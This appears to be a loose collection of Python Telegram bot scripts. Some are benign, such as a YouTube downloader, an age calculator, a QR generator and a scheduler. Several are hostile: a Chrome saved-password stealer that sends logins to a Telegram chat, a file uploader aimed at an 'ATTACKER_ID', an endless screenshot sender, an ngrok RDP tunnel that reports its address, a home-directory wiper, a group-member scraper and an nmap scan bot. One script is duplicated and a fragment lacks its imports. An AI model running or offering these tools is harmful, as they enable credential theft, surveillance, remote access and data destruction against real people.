$ pip install pyTelegramBotAPI pytube

import telebot
from pytube import YouTube

# Change the 'TOKEN' (GENERATED BY BOT FATHER)
TOKEN = 'TOKEN'
bot = telebot.TeleBot(TOKEN)

@bot.message_handler(commands=['start'])
def send_welcome(message):
    bot.reply_to(message, "Welcome to EFX TV YouTube Downloader Bot!\nSend me a YouTube link and I'll download the video for you. Cheers")

@bot.message_handler(func=lambda message: True)
def download_video(message):
    try:
        youtube_url = message.text
        yt = YouTube(youtube_url)
        stream = yt.streams.filter(progressive=True, file_extension='mp4').first()
        video_file = stream.download()
        with open(video_file, 'rb') as video:
            bot.send_video(message.chat.id, video)
    except Exception as e:
        bot.reply_to(message, f"An error occurred: {str(e)}")

bot.polling()

$ pip install python-telegram-bot==13.7

$ pip install python-nmap

import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import nmap

bot = telegram.Bot(token='YOUR_TOKEN')
updater = Updater('YOUR_TOKEN', use_context=True)
dispatcher = updater.dispatcher

nm = nmap.PortScanner()

def start(update, context):
    context.bot.send_message(chat_id=update.effective_chat.id, text="Welcome there ! Please pass the IP or Host.")

def scan(update, context):
    try:
        target = update.message.text

        nm.scan(hosts=target, arguments='-T4 -F')

        scan_result = ''
        for host in nm.all_hosts():
            scan_result += f"Host: {host}\n"
            for proto in nm[host].all_protocols():
                ports = nm[host][proto].keys()
                for port in ports:
                    port_info = nm[host][proto][port]
                    scan_result += f"Port: {port} State: {port_info['state']} Service: {port_info['name']}"
                    if 'product' in port_info:
                        scan_result += f", Version: {port_info['product']}"
                    scan_result += "\n"

        context.bot.send_message(chat_id=update.effective_chat.id, text=scan_result)
    except Exception as e:
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"Error: {str(e)}")

start_handler = CommandHandler('start', start)
dispatcher.add_handler(start_handler)

message_handler = MessageHandler(Filters.text & ~Filters.command, scan)
dispatcher.add_handler(message_handler)

updater.start_polling()
updater.idle()

import os
import sys
import telebot

# YOU CAN MODIFY 
# BOT_TOKEN = 'MODIFY'
# GROUP_CHAT_ID = 'MODIFY'
# INSTALL PYTHON AND TELEBOT

BOT_TOKEN = 'MODIFY'

ATTACKER_ID = 'MODIFY'

bot = telebot.TeleBot(BOT_TOKEN)

def send_message(message):
    bot.send_message(ATTACKER_ID, message)

def upload_file(file_path):
    try:
        file_name = os.path.basename(file_path)

        with open(file_path, 'rb') as f:
            bot.send_document(ATTACKER_ID, f, caption=f'File "{file_name}" uploaded successfully!')

    except Exception as e:
        send_message(f'Error uploading file: {str(e)}')

if len(sys.argv) != 2:
    print("Usage: python upload.py <file_path>")
    sys.exit(1)

file_path = sys.argv[1]

upload_file(file_path)

$ pip install python-telegram-bot

import telegram
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters
import datetime
import time

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'

def start(update, context):
    update.message.reply_text("Welcome to EFXTV Age Calculator Bot!")
    context.bot.send_message(chat_id=update.effective_chat.id, text="Please provide your date of birth in DD/MM/YYYY format?")
    
def get_dob(update, context):
    dob = update.message.text
    context.user_data['dob'] = dob
    time.sleep(1)
    context.bot.send_message(chat_id=update.effective_chat.id, text="Please provide your time of birth in HH:MM format?")
    
def get_tob(update, context):
    tob = update.message.text
    context.user_data['tob'] = tob
    time.sleep(1)
    context.bot.send_message(chat_id=update.effective_chat.id, text="Thank you. Please wait...")
    time.sleep(1)
    calculate_age(update, context)
    
def calculate_age(update, context):
    try:
        dob_str = context.user_data.get('dob')
        tob_str = context.user_data.get('tob')
        
        if not dob_str or not tob_str:
            raise ValueError("Date of birth or time of birth is missing.")
        
        dob = datetime.datetime.strptime(dob_str, '%d/%m/%Y')
        tob = datetime.datetime.strptime(tob_str, '%H:%M')
        
        now = datetime.datetime.now()
        age = now - dob
        
        total_hours = age.total_seconds() / 3600
        total_minutes = age.total_seconds() / 60
        total_seconds = age.total_seconds()
        age_in_months = (now.year - dob.year) * 12 + now.month - dob.month
        age_in_years = age_in_months // 12
        remaining_months = age_in_months % 12
        
        age_in_days = age.days
        
        day_of_birth = dob.strftime("%A")
        
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total hours: {total_hours:.2f}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total minutes: {total_minutes:.2f}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"You have lived total seconds: {total_seconds:.2f}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"Your age in months: {age_in_months}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"Your age in years: {age_in_years}Y {remaining_months}M {age_in_days}D")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text=f"The day you were born on: {day_of_birth}")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text="Please follow us on @python_telegram_bot_source_codes")
        time.sleep(1)
        context.bot.send_message(chat_id=update.effective_chat.id, text="Kindly pass '/start' to start again")
    except ValueError as e:
        context.bot.send_message(chat_id=update.effective_chat.id, text=str(e))
    finally:
        context.user_data.clear()
        
updater = Updater(TOKEN, use_context=True)

dp = updater.dispatcher

dp.add_handler(CommandHandler("start", start))
dp.add_handler(MessageHandler(Filters.regex(r'^\d{2}/\d{2}/\d{4}$'), get_dob))
dp.add_handler(MessageHandler(Filters.regex(r'^\d{2}:\d{2}$'), get_tob))
dp.add_handler(MessageHandler(Filters.text & ~Filters.command, calculate_age))

updater.start_polling()
updater.idle()

pip install pyautogui python-telegram-bot pillow

import pyautogui
from PIL import Image
from io import BytesIO
from telegram import Bot

def take_screenshot():
    screenshot = pyautogui.screenshot()
    return screenshot

def send_screenshot(bot_token, chat_id, screenshot):
    bot = Bot(token=bot_token)
    with BytesIO() as bio:
        screenshot.save(bio, format="PNG")
        bio.seek(0)
        bot.send_photo(chat_id=chat_id, photo=bio)

if __name__ == "__main__":
    BOT_TOKEN = "ChangeMe"
    
    CHAT_ID = "ChangeMe"
    
    while True:
        screenshot = take_screenshot()
        
        send_screenshot(BOT_TOKEN, CHAT_ID, screenshot)

import logging
from telegram import Update, InputFile
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext
import qrcode
from io import BytesIO

TELEGRAM_TOKEN = 'CHANGE_ME_TOKEN'

logging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)

async def start(update: Update, context: CallbackContext):
    await update.message.reply_text("Give me a link 🙂")

async def handle_message(update: Update, context: CallbackContext):
    user_input = update.message.text
    
    qr = qrcode.QRCode(version=1, box_size=10, border=4)
    qr.add_data(user_input)
    qr.make(fit=True)
    
    img = qr.make_image(fill='black', back_color='white')
    
    buffer = BytesIO()
    img.save(buffer, format='PNG')
    buffer.seek(0)
    
    await context.bot.send_photo(chat_id=update.effective_chat.id, photo=InputFile(buffer, filename='qr.png'))
    await update.message.reply_text("Here is your QR code. You can scan it at scanqr.org")

def main():
    application = Application.builder().token(TELEGRAM_TOKEN).build()
    
    application.add_handler(CommandHandler('start', start))
    application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, handle_message))
    
    application.run_polling()

if __name__ == '__main__':
    main()

requirements.txt
python-telegram-bot==21.0
qrcode[pil]==7.3.0
Pillow==10.0.0

pip install -r requirements.txt

import argparse
import os
import asyncio
from telegram import Bot
from telegram.error import TelegramError
from telegram.ext import Application

BOT_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'

async def send_file(bot, file_path):
    try:
        with open(file_path, 'rb') as file:
            await bot.send_document(chat_id=CHAT_ID, document=file, caption=f'Sending {file_path}')
        print(f'Successfully sent: {file_path}')
    except TelegramError as e:
        print(f'Failed to send {file_path}. Error: {e}')
    except FileNotFoundError:
        print(f'File not found: {file_path}')

async def main(files):
    bot = Bot(token=BOT_TOKEN)
    if files and files[0] == '*':
        for filename in os.listdir('.'):
            if os.path.isfile(filename):
                await send_file(bot, filename)
    else:
        for file_path in files:
            await send_file(bot, file_path)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Send files to Telegram.')
    parser.add_argument('files', nargs='*', help='Files to send. Use "*" to send all files in the directory.')

    args = parser.parse_args()
    asyncio.run(main(args.files))

#Install commands
pip install -r requirements.txt
pip install python-telegram-bot --upgrade

#Use command
python share.py file.txt
python share.py *
python share.py /user/home/bin/file.txt

requirements.txt
python-telegram-bot
aiohttp

import argparse
import os
import asyncio
from telegram import Bot
from telegram.error import TelegramError

BOT_TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = '@USERNAE_OF_GROUP_CHANNEL'

async def send_file(bot, file_path):
    try:
        with open(file_path, 'rb') as file:
            await bot.send_document(chat_id=CHAT_ID, document=file, caption=f'Sending {file_path}')
        print(f'Successfully sent: {file_path}')
    except TelegramError as e:
        print(f'Failed to send {file_path}. Error: {e}')
    except FileNotFoundError:
        print(f'File not found: {file_path}')

async def main(files):
    bot = Bot(token=BOT_TOKEN)
    if files and files[0] == '*':
        for filename in os.listdir('.'):
            if os.path.isfile(filename):
                await send_file(bot, filename)
    else:
        for file_path in files:
            await send_file(bot, file_path)

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Send files to a public Telegram bot.')
    parser.add_argument('files', nargs='*', help='Files to send. Use "*" to send all files in the directory.')

    args = parser.parse_args()
    asyncio.run(main(args.files))

requirements.txt
python-telegram-bot
aiohttp

#Install commands
pip install -r requirements.txt
pip install python-telegram-bot --upgrade

#Use command
python share.py file.txt
python share.py *
python share.py /user/home/bin/file.txt

import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext

# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'

def calculate_md5(file_path):
    hash_md5 = hashlib.md5()
    with open(file_path, "rb") as f:
        for chunk in iter(lambda: f.read(4096), b""):
            hash_md5.update(chunk)
    return hash_md5.hexdigest()

def decode_base64(encoded_str):
    padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
    decoded_bytes = base64.b64decode(padded_str)
    return decoded_bytes.decode('utf-8')

def extract_ips_and_ports_from_apk(apk_path):
    md5_hash = calculate_md5(apk_path)
    results = []
    
    with tempfile.TemporaryDirectory() as temp_dir:
        result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        if result.returncode != 0:
            return "Error: jadx failed to decompile the APK."
        
        java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
        client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
        client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')

        for file_path in java_files:
            with open(file_path, 'r', encoding='utf-8') as file:
                content = file.read()
                
                host_matches = client_host_pattern.findall(content)
                port_matches = client_port_pattern.findall(content)
                
                if host_matches and port_matches:
                    host_base64 = host_matches[0]
                    port_base64 = port_matches[0]
                    
                    try:
                        decoded_host = decode_base64(host_base64)
                        decoded_port = decode_base64(port_base64)
                        message = (f"IP: {decoded_host}\n"
                                   f"Port: {decoded_port}\n"
                                   f"Join: @EFXTV")
                        results.append(message)
                    except Exception as e:
                        results.append(f"Error decoding base64 strings: {e}")
        
    return "\n\n".join(results) if results else "No IPs or Ports found."

async def start(update: Update, context: CallbackContext):
    await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")

async def handle_document(update: Update, context: CallbackContext):
    file = update.message.document
    file_id = file.file_id
    file_name = file.file_name
    file_path = os.path.join(tempfile.gettempdir(), file_name)

    try:
        # Get the file object
        telegram_file = await context.bot.get_file(file_id)
        # Download the file
        await telegram_file.download_to_drive(file_path)
        # Process the APK file
        message = extract_ips_and_ports_from_apk(file_path)
        # Send the result back to the user
        await update.message.reply_text(message)
    except Exception as e:
        await update.message.reply_text(f"An error occurred: {e}")
    finally:
        # Clean up the temporary file
        if os.path.exists(file_path):
            os.remove(file_path)

def main():
    application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
    
    application.add_handler(CommandHandler('start', start))
    application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))

    application.run_polling()

if __name__ == '__main__':
    main()

import requests
import json
import socket
import zipfile
import subprocess
import time
import os
from pathlib import Path
import asyncio
from telegram import Bot

TELEGRAM_TOKEN = 'CHANGE_ME'
CHAT_ID = 'CHANGE_ME'

async def send_to_telegram(message):
    bot = Bot(token=TELEGRAM_TOKEN)
    await bot.send_message(chat_id=CHAT_ID, text=message)

def startng():
    ngrok_path = r'C:\temp\ngrok\ngrok.exe'
    
    command = [ngrok_path, 'tcp', '3389']
    
    with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
        process = subprocess.Popen(command, stdout=log_file, stderr=log_file)
    time.sleep(7)

    return

def notexist():
    os.makedirs(r'C:\temp\ngrok', exist_ok=True)
    url = "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows-amd64.zip"
    output_path = r"C:\temp\ngrok\ngrok.zip"
    extract_dir = r"C:\temp\ngrok"

    response = requests.get(url, stream=True)

    with open(output_path, "wb") as file:
        for chunk in response.iter_content(chunk_size=8192):
            file.write(chunk)

    with zipfile.ZipFile(output_path, 'r') as zip_ref:
        zip_ref.extractall(extract_dir)

    command = r'C:\temp\ngrok\ngrok.exe config add-authtoken YOUR_AUTHTOKEN'  # Replace with your ngrok authtoken
    with open(r'C:\temp\ngrok\SAVEDLOG.TXT', 'w') as log_file:
        subprocess.run(command, stdout=log_file, stderr=log_file, shell=True)

    return


def exist():
    url = "http://localhost:4040/api/tunnels"
    response = requests.get(url)
    data = response.json()

    public_url = data['tunnels'][0]['public_url']
    result = public_url.replace('tcp://', '')

    IP, PO = result.split(':')

    ip_address = socket.gethostbyname(IP)

    # Prepare the message to send to Telegram
    output_message = f"> IP: {ip_address}\n> PO: {PO}"

    # Run the async function to send the message to Telegram
    asyncio.run(send_to_telegram(output_message))
    
    return 

a = Path(r"C:\temp\ngrok\ngrok.exe")
# Check if the file exists and call the respective function
if a.exists():
    startng()
    exist()
else:
    notexist()
    startng()
    exist()

import os
import base64
import hashlib
import tempfile
import glob
import re
import subprocess
from telegram import Update
from telegram.ext import Application, CommandHandler, MessageHandler, filters, CallbackContext

# Replace this with your actual bot token
TELEGRAM_BOT_TOKEN = 'CHANGE_ME_AUTH'

def calculate_md5(file_path):
    hash_md5 = hashlib.md5()
    with open(file_path, "rb") as f:
        for chunk in iter(lambda: f.read(4096), b""):
            hash_md5.update(chunk)
    return hash_md5.hexdigest()

def decode_base64(encoded_str):
    padded_str = encoded_str + '=' * (-len(encoded_str) % 4)
    decoded_bytes = base64.b64decode(padded_str)
    return decoded_bytes.decode('utf-8')

def extract_ips_and_ports_from_apk(apk_path):
    md5_hash = calculate_md5(apk_path)
    results = []
    
    with tempfile.TemporaryDirectory() as temp_dir:
        result = subprocess.run(['jadx', '--no-res', '-d', temp_dir, apk_path], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
        if result.returncode != 0:
            return "Error: jadx failed to decompile the APK."
        
        java_files = glob.glob(os.path.join(temp_dir, '**', '*.java'), recursive=True)
        client_host_pattern = re.compile(r'public\s+static\s+String\s+ClientHost\s*=\s*"([A-Za-z0-9+/=]+)"')
        client_port_pattern = re.compile(r'public\s+static\s+String\s+ClientPort\s*=\s*"([A-Za-z0-9+/=]+)"')

        for file_path in java_files:
            with open(file_path, 'r', encoding='utf-8') as file:
                content = file.read()
                
                host_matches = client_host_pattern.findall(content)
                port_matches = client_port_pattern.findall(content)
                
                if host_matches and port_matches:
                    host_base64 = host_matches[0]
                    port_base64 = port_matches[0]
                    
                    try:
                        decoded_host = decode_base64(host_base64)
                        decoded_port = decode_base64(port_base64)
                        message = (f"IP: {decoded_host}\n"
                                   f"Port: {decoded_port}\n"
                                   f"Join: @EFXTV")
                        results.append(message)
                    except Exception as e:
                        results.append(f"Error decoding base64 strings: {e}")
        
    return "\n\n".join(results) if results else "No IPs or Ports found."

async def start(update: Update, context: CallbackContext):
    await update.message.reply_text("Send me an APK file and I'll extract the IP and port information.")

async def handle_document(update: Update, context: CallbackContext):
    file = update.message.document
    file_id = file.file_id
    file_name = file.file_name
    file_path = os.path.join(tempfile.gettempdir(), file_name)

    try:
        # Get the file object
        telegram_file = await context.bot.get_file(file_id)
        # Download the file
        await telegram_file.download_to_drive(file_path)
        # Process the APK file
        message = extract_ips_and_ports_from_apk(file_path)
        # Send the result back to the user
        await update.message.reply_text(message)
    except Exception as e:
        await update.message.reply_text(f"An error occurred: {e}")
    finally:
        # Clean up the temporary file
        if os.path.exists(file_path):
            os.remove(file_path)

def main():
    application = Application.builder().token(TELEGRAM_BOT_TOKEN).build()
    
    application.add_handler(CommandHandler('start', start))
    application.add_handler(MessageHandler(filters.Document.MimeType("application/vnd.android.package-archive"), handle_document))

    application.run_polling()

if __name__ == '__main__':
    main()

if __name__ == '__main__':
    try:
        with open('decrypted_password.csv', mode='w', newline='', encoding='utf-8') as decrypt_password_file:
            csv_writer = csv.writer(decrypt_password_file, delimiter=',')
            csv_writer.writerow(["index", "url", "username", "password"])
            secret_key = get_secret_key()
            folders = [element for element in os.listdir(CHROME_PATH) if re.search("^Profile*|^Default$", element) != None]
            for folder in folders:
                chrome_path_login_db = os.path.normpath(r"%s\%s\Login Data" % (CHROME_PATH, folder))
                conn = get_db_connection(chrome_path_login_db)
                if(secret_key and conn):
                    cursor = conn.cursor()
                    cursor.execute("SELECT action_url, username_value, password_value FROM logins")
                    for index, login in enumerate(cursor.fetchall()):
                        url = login[0]
                        username = login[1]
                        ciphertext = login[2]
                        if(url != "" and username != "" and ciphertext != ""):
                            decrypted_password = decrypt_password(ciphertext, secret_key)
                            csv_writer.writerow([index, url, username, decrypted_password])
                            message = f"<b>URL:</b> {url}\n<b>Username:</b> {username}\n<b>Password:</b> {decrypted_password}"
                            send_telegram_message(message)

                    cursor.close()
                    conn.close()
                    os.remove("Loginvault.db")
    except Exception as e:
        print("[ERR] %s" % str(e))

import sys
import logging
import asyncio
from datetime import datetime
from apscheduler.schedulers.asyncio import AsyncIOScheduler
from apscheduler.triggers.cron import CronTrigger
import pytz

from telegram import Bot
from telegram.error import TelegramError

# ========================
# CONFIGURATION
BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN_HERE"
GROUP_ID_OR_USERNAME = "@yourgroupusername_or_chatid"
# ========================

logging.basicConfig(
    format='%(asctime)s - %(levelname)s - %(message)s',
    level=logging.INFO
)
logger = logging.getLogger(__name__)

def read_post_content(filepath):
    try:
        with open(filepath, 'r', encoding='utf-8') as f:
            return f.read()
    except Exception as e:
        logger.error(f"Failed to read post content from {filepath}: {e}")
        sys.exit(1)

async def send_message(bot, chat_id_or_username, text):
    try:
        await bot.send_message(chat_id=chat_id_or_username, text=text)
        logger.info("Message sent successfully.")
    except TelegramError as e:
        logger.error(f"Failed to send message: {e}")

async def scheduled_job(bot, chat_id_or_username, post_content):
    logger.info("Scheduled job triggered. Sending message...")
    await send_message(bot, chat_id_or_username, post_content)

def parse_args():
    if len(sys.argv) < 5 or sys.argv[2] != "-t":
        print('Usage: python app.py post.txt -t "HH:MM" "Timezone"')
        sys.exit(1)

    post_file = sys.argv[1]
    time_str = sys.argv[3]
    timezone_str = sys.argv[4]

    try:
        hour, minute = map(int, time_str.split(":"))
    except ValueError:
        logger.error("Time format must be HH:MM (e.g. 14:50)")
        sys.exit(1)

    if timezone_str not in pytz.all_timezones:
        logger.warning(f"Unknown timezone '{timezone_str}'. Defaulting to Asia/Kolkata (IST).")
        timezone_str = "Asia/Kolkata"

    return post_file, hour, minute, timezone_str

def main():
    post_file, hour, minute, timezone_str = parse_args()

    if BOT_TOKEN == "YOUR_TELEGRAM_BOT_TOKEN_HERE" or GROUP_ID_OR_USERNAME == "@yourgroupusername_or_chatid":
        logger.error("Please set your BOT_TOKEN and GROUP_ID_OR_USERNAME in the script.")
        sys.exit(1)

    post_content = read_post_content(post_file)
    bot = Bot(token=BOT_TOKEN)

    scheduler = AsyncIOScheduler(timezone=pytz.timezone(timezone_str))

    scheduler.add_job(
        scheduled_job,
        trigger=CronTrigger(hour=hour, minute=minute),
        args=[bot, GROUP_ID_OR_USERNAME, post_content],
        id="daily_post",
        replace_existing=True,
    )

    scheduler.start()
    logger.info(f"Scheduled post at {hour:02d}:{minute:02d} {timezone_str}. Waiting...")

    try:
        asyncio.get_event_loop().run_forever()
    except (KeyboardInterrupt, SystemExit):
        logger.info("Shutting down scheduler...")
        scheduler.shutdown()

if __name__ == "__main__":
    main()

from telethon.sync import TelegramClient
from telethon.tl.functions.channels import GetParticipantsRequest
from telethon.tl.types import ChannelParticipantsSearch

import asyncio


api_id = 123456      # Replace with your actual API ID
api_hash = 'your_api_hash_here'
 or invite link
target_group = 'https://t.me/group_or_channel_username'

client = TelegramClient('session_name', api_id, api_hash)

async def main():
    await client.start()
    
    print(f"Connecting to {target_group}...")
    entity = await client.get_entity(target_group)

    print("Fetching members...")
    offset = 0
    limit = 100
    all_participants = []

    while True:
        participants = await client(GetParticipantsRequest(
            channel=entity,
            filter=ChannelParticipantsSearch(''),
            offset=offset,
            limit=limit,
            hash=0
        ))
        if not participants.users:
            break
        all_participants.extend(participants.users)
        offset += len(participants.users)

    print(f"Total users fetched: {len(all_participants)}")

    with open('users.txt', 'w', encoding='utf-8') as f:
        for user in all_participants:
            username = user.username or ''
            first_name = user.first_name or ''
            last_name = user.last_name or ''
            full_name = f"{first_name} {last_name}".strip()
            f.write(f"{username} - {full_name}\n")

    await client.send_file('me', 'users.txt', caption="Here is the list of users.")
    print("users.txt sent to your Saved Messages.")

with client:
    client.loop.run_until_complete(main())

import os
import subprocess
import logging
from telegram import Update, InputFile
from telegram.ext import (
    ApplicationBuilder,
    MessageHandler,
    CommandHandler,
    ContextTypes,
    filters
)

# Telegram bot by @efxtve

BOT_TOKEN = "YOUR_TELEGRAM_BOT_TOKEN"  # <-- Replace with your token
KEYSTORE_FILE = "auto-release.keystore"
ALIAS = "auto"
STOREPASS = "password"
KEYPASS = "password"
KEYTOOL = "/usr/bin/keytool"
APKSIGNER = "/usr/bin/apksigner"

logging.basicConfig(level=logging.INFO)

def create_keystore():
    if os.path.exists(KEYSTORE_FILE):
        return
    subprocess.run([
        KEYTOOL, "-genkey", "-v",
        "-keystore", KEYSTORE_FILE,
        "-alias", ALIAS,
        "-keyalg", "RSA",
        "-keysize", "2048",
        "-validity", "10000",
        "-storepass", STOREPASS,
        "-keypass", KEYPASS,
        "-dname", "CN=Auto Signer, OU=Dev, O=Auto, L=City, S=State, C=US"
    ], check=True)

def sign_apk(apk_path):
    subprocess.run([
        APKSIGNER, "sign",
        "--ks", KEYSTORE_FILE,
        "--ks-key-alias", ALIAS,
        "--ks-pass", f"pass:{STOREPASS}",
        "--key-pass", f"pass:{KEYPASS}",
        apk_path
    ], check=True)

# --- Handlers ---
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    await update.message.reply_text(
        "👋 Send an unsigned APK.\n\n"
    )

async def handle_apk(update: Update, context: ContextTypes.DEFAULT_TYPE):
    document = update.message.document
    if not document.file_name.endswith(".apk"):
        await update.message.reply_text("❌ Please send a valid `.apk` file.")
        return

    await update.message.reply_text("📥 Downloading APK...")
    file = await context.bot.get_file(document.file_id)
    apk_filename = f"input_{document.file_name}"
    await file.download_to_drive(apk_filename)

    try:
        create_keystore()
        sign_apk(apk_filename)
        await update.message.reply_text("✅ APK signed successfully. Sending back...")

        with open(apk_filename, "rb") as f:
            await update.message.reply_document(InputFile(f, filename=f"signed_{document.file_name}"))

    except subprocess.CalledProcessError:
        await update.message.reply_text("❌ Failed to sign APK.")
    finally:
        os.remove(apk_filename)

def main():
    app = ApplicationBuilder().token(BOT_TOKEN).build()
    app.add_handler(CommandHandler("start", start))
    app.add_handler(MessageHandler(filters.Document.ALL, handle_apk))
    print("[*] Bot is running...")
    app.run_polling()

if __name__ == "__main__":
    main()

import os
import shutil
import logging
from telegram import Update
from telegram.ext import ApplicationBuilder, CommandHandler, ContextTypes

# Enable logging
logging.basicConfig(
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s', level=logging.INFO
)
logger = logging.getLogger(__name__)

TOKEN = 'YOUR_TELEGRAM_BOT_TOKEN'
AUTHORIZED_USER_ID = 'YOUR_TELEGRAM_USER_ID'  # Replace with your Telegram user ID (int)

def hard_reset():
    home_dir = os.path.expanduser("~")
    for root, dirs, files in os.walk(home_dir, topdown=False):
        for name in files:
            try:
                os.remove(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete file {name}: {e}")
        for name in dirs:
            try:
                shutil.rmtree(os.path.join(root, name))
            except Exception as e:
                logger.error(f"Failed to delete directory {name}: {e}")

async def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    await update.message.reply_text('Hello! Send /hardreset to wipe all data.')

async def hardreset_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:
    user = update.effective_user
    if user.id != AUTHORIZED_USER_ID:
        await update.message.reply_text("Unauthorized access.")
        return

    await update.message.reply_text("Starting hard reset...")
    try:
        hard_reset()
        await update.message.reply_text("Hard reset completed.")
    except Exception as e:
        await update.message.reply_text(f"Error during hard reset: {e}")

def main():
    app = ApplicationBuilder().token(TOKEN).build()

    app.add_handler(CommandHandler("start", start))
    app.add_handler(CommandHandler("hardreset", hardreset_command))

    app.run_polling()

if __name__ == '__main__':
    main()

import requests
import socket
import platform

TOKEN = 'YOUR_BOT_TOKEN'
CHAT_ID = 'YOUR_CHAT_ID'

def get_local_ip():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect(("192.168.1.1", 80))
        ip = s.getsockname()[0]
        s.close()
        return ip
    except:
        return "Could not determine IP"

def send_message():
    ip = get_local_ip()
    msg = f"OS: {platform.system()}\nIP: {ip} is up"
    url = f"https://api.telegram.org/bot{TOKEN}/sendMessage"
    requests.post(url, data={'chat_id': CHAT_ID, 'text': msg})

if __name__ == "__main__":
    send_message()